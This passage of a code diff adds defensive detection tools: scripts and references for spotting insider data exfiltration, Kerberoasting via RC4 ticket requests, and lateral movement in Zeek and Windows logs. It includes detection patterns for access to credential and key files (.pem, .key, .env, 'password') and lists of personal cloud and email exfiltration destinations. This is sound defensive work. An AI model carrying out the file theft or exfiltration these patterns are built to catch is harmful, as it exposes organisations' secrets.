detect_off_hours_activity(df, start_hour=6, end_hour=22): + """Detect file access during off-hours.""" + df["hour"] = df["timestamp"].dt.hour + off_hours = df[(df["hour"] < start_hour) | (df["hour"] >= end_hour)] + if off_hours.empty: + return [] + user_counts = off_hours.groupby("user").agg( + events=("timestamp", "count"), + bytes_total=("bytes_transferred", "sum"), + unique_files=("file_path", "nunique") if "file_path" in df.columns + else ("filename", "nunique"), + ).reset_index() + findings = [] + for _, row in user_counts.iterrows(): + if row["events"] > 10: + findings.append({ + "user": row["user"], + "off_hours_events": int(row["events"]), + "bytes_transferred": int(row["bytes_total"]), + "unique_files": int(row["unique_files"]), + "severity": "HIGH", + }) + return sorted(findings, key=lambda x: x["off_hours_events"], reverse=True) + + +def detect_bulk_downloads(df, file_threshold=50, time_window="1h"): + """Detect bulk file downloads in short time windows.""" + findings = [] + df_sorted = df.sort_values("timestamp") + download_actions = ["download", "copy", "export"] + action_col = "action" if "action" in df.columns else "event_type" + downloads = df_sorted[df_sorted[action_col].str.lower().isin(download_actions)] + if downloads.empty: + return findings + downloads = downloads.set_index("timestamp") + for user, group in downloads.groupby("user"): + rolling = group.resample(time_window).size() + bursts = rolling[rolling >= file_threshold] + if len(bursts) > 0: + findings.append({ + "user": user, + "max_downloads_per_hour": int(rolling.max()), + "burst_periods": len(bursts), + "total_downloads": len(group), + "severity": "CRITICAL", + }) + return findings + + +def detect_sensitive_file_access(df, sensitive_patterns=None): + """Detect access to sensitive file types or directories.""" + if sensitive_patterns is None: + sensitive_patterns = [ + r"\.pem$", r"\.key$", r"\.env$", r"credentials", + r"password", r"\.kdbx$", r"\.pfx$", r"secret", + r"financial", r"payroll", r"customer.*data", + ] + file_col = "file_path" if "file_path" in df.columns else "filename" + findings = [] + import re + for _, row in df.iterrows(): + filepath = str(row.get(file_col, "")) + for pattern in sensitive_patterns: + if re.search(pattern, filepath, re.IGNORECASE): + findings.append({ + "user": row.get("user", ""), + "file": filepath, + "pattern_matched": pattern, + "action": row.get("action", row.get("event_type", "")), + "timestamp": str(row.get("timestamp", "")), + "severity": "HIGH", + }) + break + return findings[:500] + + +def detect_usb_activity(df): + """Detect USB device usage for data transfer.""" + usb_indicators = ["removable", "usb", "external"] + dest_col = "destination" if "destination" in df.columns else "target" + usb_events = df[df[dest_col].str.lower().str.contains( + "|".join(usb_indicators), na=False)] + if usb_events.empty: + return [] + user_usb = usb_events.groupby("user").agg( + events=("timestamp", "count"), + bytes_total=("bytes_transferred", "sum"), + ).reset_index() + findings = [] + for _, row in user_usb.iterrows(): + findings.append({ + "user": row["user"], + "usb_events": int(row["events"]), + "bytes_to_usb": int(row["bytes_total"]), + "severity": "HIGH", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Insider Data Exfiltration Detection Agent") + parser.add_argument("--log-file", required=True, help="Activity log file") + parser.add_argument("--output", default="dlp_exfiltration_report.json") + parser.add_argument("--action", choices=[ + "volume", "off_hours", "bulk", "sensitive", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + df = load_activity_logs(args.log_file) + report = {"generated_at": datetime.utcnow().isoformat(), "total_events": len(df), + "findings": {}} + print(f"[+] Loaded {len(df)} activity events") + + if args.action in ("volume", "full_analysis"): + findings = detect_volume_anomalies(df) + report["findings"]["volume_anomalies"] = findings + print(f"[+] Volume anomalies: {len(findings)}") + + if args.action in ("off_hours", "full_analysis"): + findings = detect_off_hours_activity(df) + report["findings"]["off_hours_activity"] = findings + print(f"[+] Off-hours activity users: {len(findings)}") + + if args.action in ("bulk", "full_analysis"): + findings = detect_bulk_downloads(df) + report["findings"]["bulk_downloads"] = findings + print(f"[+] Bulk download users: {len(findings)}") + + if args.action in ("sensitive", "full_analysis"): + findings = detect_sensitive_file_access(df) + report["findings"]["sensitive_access"] = findings + print(f"[+] Sensitive file accesses: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-insider-threat-behaviors/LICENSE b/skills/detecting-insider-threat-behaviors/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-insider-threat-behaviors/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-insider-threat-behaviors/references/api-reference.md b/skills/detecting-insider-threat-behaviors/references/api-reference.md new file mode 100644 index 00000000..4a7e7a43 --- /dev/null +++ b/skills/detecting-insider-threat-behaviors/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Detecting Insider Threat Behaviors + +## Risk Indicator Weights + +| Indicator | Weight | Description | +|-----------|--------|-------------| +| resignation_correlated | 35 | Activity after resignation notice | +| privilege_escalation | 30 | Unauthorized privilege use | +| usb_mass_copy | 30 | Mass copy to removable media | +| mass_download | 25 | Bulk file download/copy (>50 files) | +| unusual_destination | 20 | Data sent to unusual destination | +| cloud_upload | 20 | Upload to personal cloud storage | +| off_hours_access | 15 | Activity outside 8am-6pm | +| email_to_personal | 15 | Forwarding to personal email | + +## UEBA Data Sources + +| Source | Indicators | +|--------|------------| +| DLP logs | File downloads, USB copies, email attachments | +| Proxy logs | Cloud storage uploads, personal email | +| VPN logs | Off-hours access, unusual locations | +| AD logs | Privilege changes, group modifications | +| Endpoint logs | Application usage, screen captures | + +## Splunk SPL - Mass Download Detection + +```spl +index=dlp action IN ("download", "copy", "export") +| bin _time span=1h +| stats count by user, _time +| where count > 50 +| sort -count +``` + +## Microsoft Sentinel - Off-Hours Access + +```kql +SigninLogs +| where TimeGenerated between (datetime(22:00)..datetime(06:00)) +| where ResultType == 0 +| summarize count() by UserPrincipalName, bin(TimeGenerated, 1h) +| where count_ > 5 +``` + +## Personal Cloud Domains + +```python +CLOUD_STORAGE = { + "dropbox.com", "drive.google.com", + "onedrive.live.com", "box.com", + "mega.nz", "wetransfer.com" +} +``` + +## Risk Score Calculation + +```python +score = sum(RISK_INDICATORS[ind]["weight"] for ind in detected_indicators) +risk = "CRITICAL" if score >= 80 else "HIGH" if score >= 50 else "MEDIUM" +``` + +## CLI Usage + +```bash +python agent.py --activity-log user_activity.jsonl +python agent.py --activity-log events.csv --download-threshold 100 +``` diff --git a/skills/detecting-insider-threat-behaviors/scripts/agent.py b/skills/detecting-insider-threat-behaviors/scripts/agent.py new file mode 100644 index 00000000..0543cc32 --- /dev/null +++ b/skills/detecting-insider-threat-behaviors/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Insider threat behavior detection agent using UEBA indicators. + +Analyzes user activity logs to detect anomalous behaviors: off-hours access, +mass file downloads, unusual data access patterns, and privilege abuse. +""" + +import argparse +import json +import math +import re +import sys +from collections import Counter, defaultdict +from datetime import datetime, timedelta + +RISK_INDICATORS = { + "off_hours_access": {"weight": 15, "desc": "Activity outside business hours"}, + "mass_download": {"weight": 25, "desc": "Bulk file download/copy"}, + "privilege_escalation": {"weight": 30, "desc": "Unauthorized privilege use"}, + "unusual_destination": {"weight": 20, "desc": "Data sent to unusual destination"}, + "resignation_correlated": {"weight": 35, "desc": "Activity correlated with resignation"}, + "usb_mass_copy": {"weight": 30, "desc": "Mass copy to removable media"}, + "cloud_upload": {"weight": 20, "desc": "Large upload to personal cloud"}, + "email_to_personal": {"weight": 15, "desc": "Forwarding to personal email"}, +} + +BUSINESS_HOURS = (8, 18) +PERSONAL_DOMAINS = {"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", + "protonmail.com", "icloud.com", "aol.com"} +CLOUD_STORAGE = {"dropbox.com", "drive.google.com", "onedrive.live.com", + "box.com", "mega.nz", "wetransfer.com"} + + +def parse_activity_log(filepath): + events = [] + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + evt = json.loads(line) + events.append(evt) + except json.JSONDecodeError: + parts = line.split(",") + if len(parts) >= 4: + events.append({ + "timestamp": parts[0], "user": parts[1], + "action": parts[2], "detail": ",".join(parts[3:]), + }) + return events + + +def detect_off_hours(events): + findings = [] + for evt in events: + ts = evt.get("timestamp", "") + try: + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + hour = dt.hour + if hour < BUSINESS_HOURS[0] or hour >= BUSINESS_HOURS[1]: + findings.append({ + "indicator": "off_hours_access", + "user": evt.get("user", ""), + "timestamp": ts, + "hour": hour, + "action": evt.get("action", ""), + }) + except (ValueError, TypeError): + continue + return findings + + +def detect_mass_download(events, threshold=50): + user_downloads = defaultdict(list) + for evt in events: + action = evt.get("action", "").lower() + if any(kw in action for kw in ("download", "copy", "export", "fileaccessed")): + user_downloads[evt.get("user", "")].append(evt) + + findings = [] + for user, downloads in user_downloads.items(): + if len(downloads) >= threshold: + findings.append({ + "indicator": "mass_download", + "user": user, + "file_count": len(downloads), + "time_range": f"{downloads[0].get('timestamp', '')} - {downloads[-1].get('timestamp', '')}", + "severity": "HIGH" if len(downloads) > 100 else "MEDIUM", + }) + return findings + + +def detect_data_exfil_destinations(events): + findings = [] + for evt in events: + detail = evt.get("detail", "").lower() + dest = evt.get("destination", "").lower() + target = detail + " " + dest + + for domain in PERSONAL_DOMAINS: + if domain in target: + findings.append({ + "indicator": "email_to_personal", + "user": evt.get("user", ""), + "destination": domain, + "timestamp": evt.get("timestamp", ""), + }) + for cloud in CLOUD_STORAGE: + if cloud in target: + findings.append({ + "indicator": "cloud_upload", + "user": evt.get("user", ""), + "destination": cloud, + "timestamp": evt.get("timestamp", ""), + }) + if any(kw in target for kw in ("usb", "removable", "external drive", "e:")): + findings.append({ + "indicator": "usb_mass_copy", + "user": evt.get("user", ""), + "timestamp": evt.get("timestamp", ""), + }) + return findings + + +def calculate_risk_score(user_findings): + score = 0 + indicators = set() + for f in user_findings: + ind = f.get("indicator", "") + if ind in RISK_INDICATORS: + score += RISK_INDICATORS[ind]["weight"] + indicators.add(ind) + risk = "CRITICAL" if score >= 80 else "HIGH" if score >= 50 else \ + "MEDIUM" if score >= 25 else "LOW" + return {"score": min(score, 100), "risk_level": risk, "indicators": list(indicators)} + + +def main(): + parser = argparse.ArgumentParser(description="Insider Threat Behavior Detector") + parser.add_argument("--activity-log", required=True, help="User activity log (JSON lines or CSV)") + parser.add_argument("--download-threshold", type=int, default=50) + args = parser.parse_args() + + events = parse_activity_log(args.activity_log) + all_findings = [] + all_findings.extend(detect_off_hours(events)) + all_findings.extend(detect_mass_download(events, args.download_threshold)) + all_findings.extend(detect_data_exfil_destinations(events)) + + user_findings = defaultdict(list) + for f in all_findings: + user_findings[f.get("user", "unknown")].append(f) + + user_risks = {} + for user, findings in user_findings.items(): + user_risks[user] = calculate_risk_score(findings) + user_risks[user]["finding_count"] = len(findings) + + results = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "total_events": len(events), + "total_findings": len(all_findings), + "user_risk_scores": user_risks, + "findings": all_findings, + } + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-kerberoasting-attacks/LICENSE b/skills/detecting-kerberoasting-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-kerberoasting-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-kerberoasting-attacks/references/api-reference.md b/skills/detecting-kerberoasting-attacks/references/api-reference.md new file mode 100644 index 00000000..a5ecf05b --- /dev/null +++ b/skills/detecting-kerberoasting-attacks/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Detecting Kerberoasting Attacks + +## python-evtx Library +```python +from Evtx.Evtx import FileHeader +with open("Security.evtx", "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + xml_string = record.xml() +``` + +## Event ID 4769 - Kerberos TGS Request +```xml + + svc_sql + MSSQLSvc/db01.corp.local:1433 + 0x17 + 0x40810000 + ::ffff:10.0.0.50 + 0x0 + +``` + +## Encryption Type Values +| Hex | Type | Risk | +|-----|------|------| +| 0x17 | RC4-HMAC | Kerberoasting indicator | +| 0x18 | RC4-HMAC-EXP | Kerberoasting indicator | +| 0x11 | AES128-CTS-HMAC-SHA1 | Normal | +| 0x12 | AES256-CTS-HMAC-SHA1 | Normal | + +## Detection Logic +1. Filter Event 4769 where TicketEncryptionType = 0x17 (RC4) +2. Exclude machine accounts (ServiceName ending in `$`) +3. Exclude krbtgt service +4. Alert on high-volume TGS from single source (>10 unique SPNs in 5 min) +5. Correlate with Event 4624 for source attribution + +## Event ID 4624 - Logon Event (Correlation) +```xml +attacker_user +3 +10.0.0.50 +WORKSTATION1 +``` + +## MITRE ATT&CK Mapping +- T1558.003 - Kerberoasting +- T1558 - Steal or Forge Kerberos Tickets diff --git a/skills/detecting-kerberoasting-attacks/scripts/agent.py b/skills/detecting-kerberoasting-attacks/scripts/agent.py new file mode 100644 index 00000000..61797a36 --- /dev/null +++ b/skills/detecting-kerberoasting-attacks/scripts/agent.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""Kerberoasting Detection Agent - Detects Kerberoasting via Event 4769 TGS-REQ analysis.""" + +import json +import logging +import argparse +from collections import defaultdict +from datetime import datetime + +from Evtx.Evtx import FileHeader +from lxml import etree + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} + +WEAK_ENCRYPTION_TYPES = {"0x17": "RC4-HMAC", "0x18": "RC4-HMAC-EXP"} +STRONG_ENCRYPTION_TYPES = {"0x11": "AES128", "0x12": "AES256"} + + +def parse_tgs_events(evtx_path): + """Parse Event ID 4769 (Kerberos TGS requests) from Security EVTX.""" + tgs_events = [] + with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + try: + xml = record.xml() + root = etree.fromstring(xml.encode("utf-8")) + event_id_elem = root.find(".//evt:System/evt:EventID", NS) + if event_id_elem is None or event_id_elem.text != "4769": + continue + data = {} + for elem in root.findall(".//evt:EventData/evt:Data", NS): + data[elem.get("Name", "")] = elem.text or "" + time_elem = root.find(".//evt:System/evt:TimeCreated", NS) + timestamp = time_elem.get("SystemTime", "") if time_elem is not None else "" + tgs_events.append({ + "timestamp": timestamp, + "target_name": data.get("TargetUserName", ""), + "service_name": data.get("ServiceName", ""), + "client_address": data.get("IpAddress", ""), + "ticket_encryption": data.get("TicketEncryptionType", ""), + "ticket_options": data.get("TicketOptions", ""), + "status": data.get("Status", ""), + "logon_guid": data.get("LogonGuid", ""), + }) + except Exception: + continue + logger.info("Parsed %d TGS-REQ events from %s", len(tgs_events), evtx_path) + return tgs_events + + +def detect_rc4_tgs_requests(tgs_events): + """Detect TGS requests using weak RC4-HMAC encryption (Kerberoasting indicator).""" + rc4_requests = [] + for event in tgs_events: + enc_type = event["ticket_encryption"] + if enc_type in WEAK_ENCRYPTION_TYPES: + service = event["service_name"] + if service and not service.endswith("$") and "krbtgt" not in service.lower(): + event["encryption_name"] = WEAK_ENCRYPTION_TYPES[enc_type] + event["indicator"] = "RC4 TGS for service account (non-machine)" + rc4_requests.append(event) + logger.info("Found %d RC4 TGS requests for service accounts", len(rc4_requests)) + return rc4_requests + + +def detect_high_volume_tgs(tgs_events, threshold=10, window_minutes=5): + """Detect high-volume TGS requests from a single source (spray pattern).""" + source_buckets = defaultdict(list) + for event in tgs_events: + source_buckets[event["client_address"]].append(event) + alerts = [] + for source, events in source_buckets.items(): + events.sort(key=lambda e: e["timestamp"]) + unique_services = set() + for event in events: + unique_services.add(event["service_name"]) + if len(unique_services) >= threshold: + alerts.append({ + "source_ip": source, + "unique_services_requested": len(unique_services), + "total_requests": len(events), + "services": list(unique_services)[:20], + "first_seen": events[0]["timestamp"], + "last_seen": events[-1]["timestamp"], + "indicator": "High-volume TGS spray (Kerberoasting)", + }) + logger.info("Found %d high-volume TGS sources", len(alerts)) + return alerts + + +def detect_anomalous_spn_requests(tgs_events, known_spns=None): + """Detect TGS requests for unusual or sensitive SPNs.""" + sensitive_spns = {"MSSQLSvc", "HTTP", "MSSQL", "exchangeAB", "CIFS", "HOST"} + anomalous = [] + for event in tgs_events: + service = event["service_name"] + service_class = service.split("/")[0] if "/" in service else service + if service_class in sensitive_spns: + enc = event["ticket_encryption"] + if enc in WEAK_ENCRYPTION_TYPES: + event["spn_class"] = service_class + event["risk"] = "Sensitive SPN with RC4 encryption" + anomalous.append(event) + logger.info("Found %d anomalous SPN requests", len(anomalous)) + return anomalous + + +def correlate_with_logon_events(evtx_path, suspicious_sources): + """Correlate suspicious TGS sources with logon events (4624) for attribution.""" + source_ips = {s["source_ip"] for s in suspicious_sources} + logon_map = {} + with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + try: + xml = record.xml() + root = etree.fromstring(xml.encode("utf-8")) + event_id_elem = root.find(".//evt:System/evt:EventID", NS) + if event_id_elem is None or event_id_elem.text != "4624": + continue + data = {} + for elem in root.findall(".//evt:EventData/evt:Data", NS): + data[elem.get("Name", "")] = elem.text or "" + source_ip = data.get("IpAddress", "") + if source_ip in source_ips: + logon_map[source_ip] = { + "account": data.get("TargetUserName", ""), + "domain": data.get("TargetDomainName", ""), + "logon_type": data.get("LogonType", ""), + "workstation": data.get("WorkstationName", ""), + } + except Exception: + continue + return logon_map + + +def generate_report(tgs_events, rc4_findings, spray_findings, spn_findings, logon_correlation): + """Generate Kerberoasting detection report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_tgs_events": len(tgs_events), + "rc4_service_requests": len(rc4_findings), + "tgs_spray_sources": len(spray_findings), + "anomalous_spn_requests": len(spn_findings), + "rc4_details": rc4_findings[:20], + "spray_details": spray_findings, + "spn_details": spn_findings[:20], + "attacker_attribution": logon_correlation, + } + total_findings = len(rc4_findings) + len(spray_findings) + len(spn_findings) + print(f"KERBEROASTING DETECTION: {total_findings} indicators found") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Kerberoasting Detection Agent") + parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file") + parser.add_argument("--spray-threshold", type=int, default=10) + parser.add_argument("--output", default="kerberoast_report.json") + args = parser.parse_args() + + tgs_events = parse_tgs_events(args.evtx_file) + rc4_findings = detect_rc4_tgs_requests(tgs_events) + spray_findings = detect_high_volume_tgs(tgs_events, args.spray_threshold) + spn_findings = detect_anomalous_spn_requests(tgs_events) + logon_map = correlate_with_logon_events(args.evtx_file, spray_findings) + + report = generate_report(tgs_events, rc4_findings, spray_findings, spn_findings, logon_map) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-lateral-movement-in-network/LICENSE b/skills/detecting-lateral-movement-in-network/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-lateral-movement-in-network/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-lateral-movement-in-network/references/api-reference.md b/skills/detecting-lateral-movement-in-network/references/api-reference.md new file mode 100644 index 00000000..d705386c --- /dev/null +++ b/skills/detecting-lateral-movement-in-network/references/api-reference.md @@ -0,0 +1,82 @@ +# Lateral Movement Detection API Reference + +## Windows Event IDs for Lateral Movement + +| Event ID | Log | Significance | +|----------|-----|-------------| +| 4624 (Type 3) | Security | Network logon (SMB, PsExec) | +| 4624 (Type 10) | Security | RDP logon | +| 4625 | Security | Failed logon attempt | +| 4648 | Security | Explicit credential use (RunAs) | +| 4672 | Security | Admin privileges assigned | +| 4768 | Security | Kerberos TGT request | +| 4769 | Security | Kerberos service ticket | +| 4776 | Security | NTLM credential validation | +| 7045 | System | New service installed (PsExec) | + +## Zeek Log Files for Lateral Movement + +| Log | Content | +|-----|---------| +| `conn.log` | All connections (filter internal-to-internal) | +| `smb_mapping.log` | SMB share access | +| `smb_files.log` | SMB file operations | +| `dce_rpc.log` | DCE/RPC calls (PsExec, WMI) | +| `kerberos.log` | Kerberos ticket operations | +| `ntlm.log` | NTLM authentication events | +| `rdp.log` | RDP connection metadata | + +## Zeek Script - Lateral Movement Detection + +```zeek +event connection_established(c: connection) { + if (Site::is_local_addr(c$id$orig_h) && Site::is_local_addr(c$id$resp_h)) { + if (c$id$resp_p == 445/tcp || c$id$resp_p == 3389/tcp || c$id$resp_p == 5985/tcp) { + NOTICE([ + $note=LateralMovement::Suspicious, + $conn=c, + $msg=fmt("Lateral: %s -> %s:%s", c$id$orig_h, c$id$resp_h, c$id$resp_p) + ]); + } + } +} +``` + +## Splunk SPL - Lateral Movement Queries + +```spl +# Multiple hosts accessed from single source +index=wineventlog EventCode=4624 LogonType=3 +| stats dc(ComputerName) as targets values(ComputerName) as hosts by SourceIP Account_Name +| where targets > 5 + +# PsExec detection (service install after network logon) +index=wineventlog EventCode=7045 ServiceName="PSEXESVC" +| table _time ComputerName ServiceName ServiceFileName AccountName + +# Pass-the-hash (NTLM Type 3 without prior Type 10) +index=wineventlog EventCode=4624 LogonType=3 AuthenticationPackageName=NTLM +| stats count by SourceIP ComputerName Account_Name +``` + +## python-evtx - Parse EVTX Files + +```python +import Evtx.Evtx as evtx + +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + xml = record.xml() + if "4624" in xml: + print(record.timestamp(), xml) +``` + +## MITRE ATT&CK Lateral Movement (TA0008) + +| Technique | ID | Detection | +|-----------|-------|-----------| +| Remote Services: SMB | T1021.002 | Port 445 + 7045 events | +| Remote Services: RDP | T1021.001 | Port 3389 + 4624 Type 10 | +| Remote Services: WinRM | T1021.006 | Port 5985/5986 | +| Lateral Tool Transfer | T1570 | SMB file operations | +| Pass the Hash | T1550.002 | NTLM Type 3 from workstation | diff --git a/skills/detecting-lateral-movement-in-network/scripts/agent.py b/skills/detecting-lateral-movement-in-network/scripts/agent.py new file mode 100644 index 00000000..daae4887 --- /dev/null +++ b/skills/detecting-lateral-movement-in-network/scripts/agent.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +"""Lateral movement detection agent using Zeek logs and Windows event analysis.""" + +import json +import os +import re +import subprocess +import sys +from collections import Counter, defaultdict +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx + HAS_EVTX = True +except ImportError: + HAS_EVTX = False + + +LATERAL_MOVEMENT_EVENT_IDS = { + "4624": "Successful Logon", + "4625": "Failed Logon", + "4648": "Logon with Explicit Credentials", + "4672": "Special Privileges Assigned", + "7045": "New Service Installed", +} + +SUSPICIOUS_LOGON_TYPES = {"3": "Network", "10": "RemoteInteractive (RDP)"} + + +def parse_zeek_conn_log(log_path): + """Parse Zeek conn.log for internal lateral movement patterns.""" + if not os.path.exists(log_path): + return {"error": f"Zeek conn.log not found: {log_path}"} + + connections = defaultdict(lambda: {"count": 0, "ports": Counter(), "bytes": 0}) + with open(log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 10: + continue + src_ip = fields[2] if len(fields) > 2 else "" + dst_ip = fields[4] if len(fields) > 4 else "" + dst_port = fields[5] if len(fields) > 5 else "" + resp_bytes = int(fields[9]) if len(fields) > 9 and fields[9] != "-" else 0 + + if src_ip.startswith(("10.", "172.16.", "192.168.")) and dst_ip.startswith(("10.", "172.16.", "192.168.")): + key = f"{src_ip}->{dst_ip}" + connections[key]["count"] += 1 + connections[key]["ports"][dst_port] += 1 + connections[key]["bytes"] += resp_bytes + + lateral_indicators = [] + for pair, info in connections.items(): + smb_count = info["ports"].get("445", 0) + info["ports"].get("139", 0) + rdp_count = info["ports"].get("3389", 0) + winrm_count = info["ports"].get("5985", 0) + info["ports"].get("5986", 0) + psexec_count = info["ports"].get("445", 0) + + if smb_count > 0 or rdp_count > 0 or winrm_count > 0: + src, dst = pair.split("->") + lateral_indicators.append({ + "source": src, "destination": dst, + "total_connections": info["count"], + "smb_connections": smb_count, + "rdp_connections": rdp_count, + "winrm_connections": winrm_count, + "total_bytes": info["bytes"], + "risk": "HIGH" if smb_count > 10 or rdp_count > 5 else "MEDIUM", + }) + + lateral_indicators.sort(key=lambda x: x["total_connections"], reverse=True) + return {"total_internal_pairs": len(connections), "lateral_indicators": lateral_indicators[:30]} + + +def parse_zeek_smb_log(log_path): + """Parse Zeek smb_mapping.log for file share access patterns.""" + if not os.path.exists(log_path): + return {"error": f"SMB log not found: {log_path}"} + + mappings = [] + with open(log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) >= 6: + mappings.append({ + "timestamp": fields[0], + "source": fields[2] if len(fields) > 2 else "", + "destination": fields[4] if len(fields) > 4 else "", + "share": fields[5] if len(fields) > 5 else "", + }) + + share_counts = Counter(m.get("share", "") for m in mappings) + src_counts = Counter(m.get("source", "") for m in mappings) + + return { + "total_mappings": len(mappings), + "top_shares": share_counts.most_common(10), + "top_sources": src_counts.most_common(10), + "recent": mappings[-20:], + } + + +def analyze_windows_auth_logs(evtx_path): + """Analyze Windows Security EVTX for lateral movement indicators.""" + if not HAS_EVTX: + return {"error": "python-evtx not installed (pip install python-evtx)"} + if not os.path.exists(evtx_path): + return {"error": f"EVTX file not found: {evtx_path}"} + + network_logons = [] + failed_logons = [] + explicit_creds = [] + new_services = [] + + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + try: + xml = record.xml() + for eid, desc in LATERAL_MOVEMENT_EVENT_IDS.items(): + if f"{eid}" in xml: + entry = { + "event_id": eid, + "description": desc, + "timestamp": record.timestamp().isoformat(), + } + if eid == "4624": + logon_type_match = re.search(r"(\d+)", xml) + if logon_type_match and logon_type_match.group(1) in SUSPICIOUS_LOGON_TYPES: + entry["logon_type"] = logon_type_match.group(1) + network_logons.append(entry) + elif eid == "4625": + failed_logons.append(entry) + elif eid == "4648": + explicit_creds.append(entry) + elif eid == "7045": + new_services.append(entry) + break + except Exception: + continue + + return { + "network_logons": len(network_logons), + "failed_logons": len(failed_logons), + "explicit_credential_use": len(explicit_creds), + "new_services_installed": len(new_services), + "recent_network_logons": network_logons[-20:], + "recent_failures": failed_logons[-20:], + "new_services": new_services[-10:], + } + + +def detect_pass_the_hash_pattern(events): + """Detect pass-the-hash indicators from auth events.""" + alerts = [] + by_source = defaultdict(list) + for e in events: + src = e.get("source", e.get("source_ip", "")) + by_source[src].append(e) + + for src, src_events in by_source.items(): + unique_dests = set(e.get("destination", e.get("dest_ip", "")) for e in src_events) + if len(unique_dests) > 5: + alerts.append({ + "type": "PASS_THE_HASH_CANDIDATE", + "severity": "HIGH", + "source": src, + "unique_destinations": len(unique_dests), + "destinations": list(unique_dests)[:20], + "event_count": len(src_events), + }) + return alerts + + +def generate_report(zeek_log_dir=None, evtx_path=None): + """Generate comprehensive lateral movement detection report.""" + report = {"timestamp": 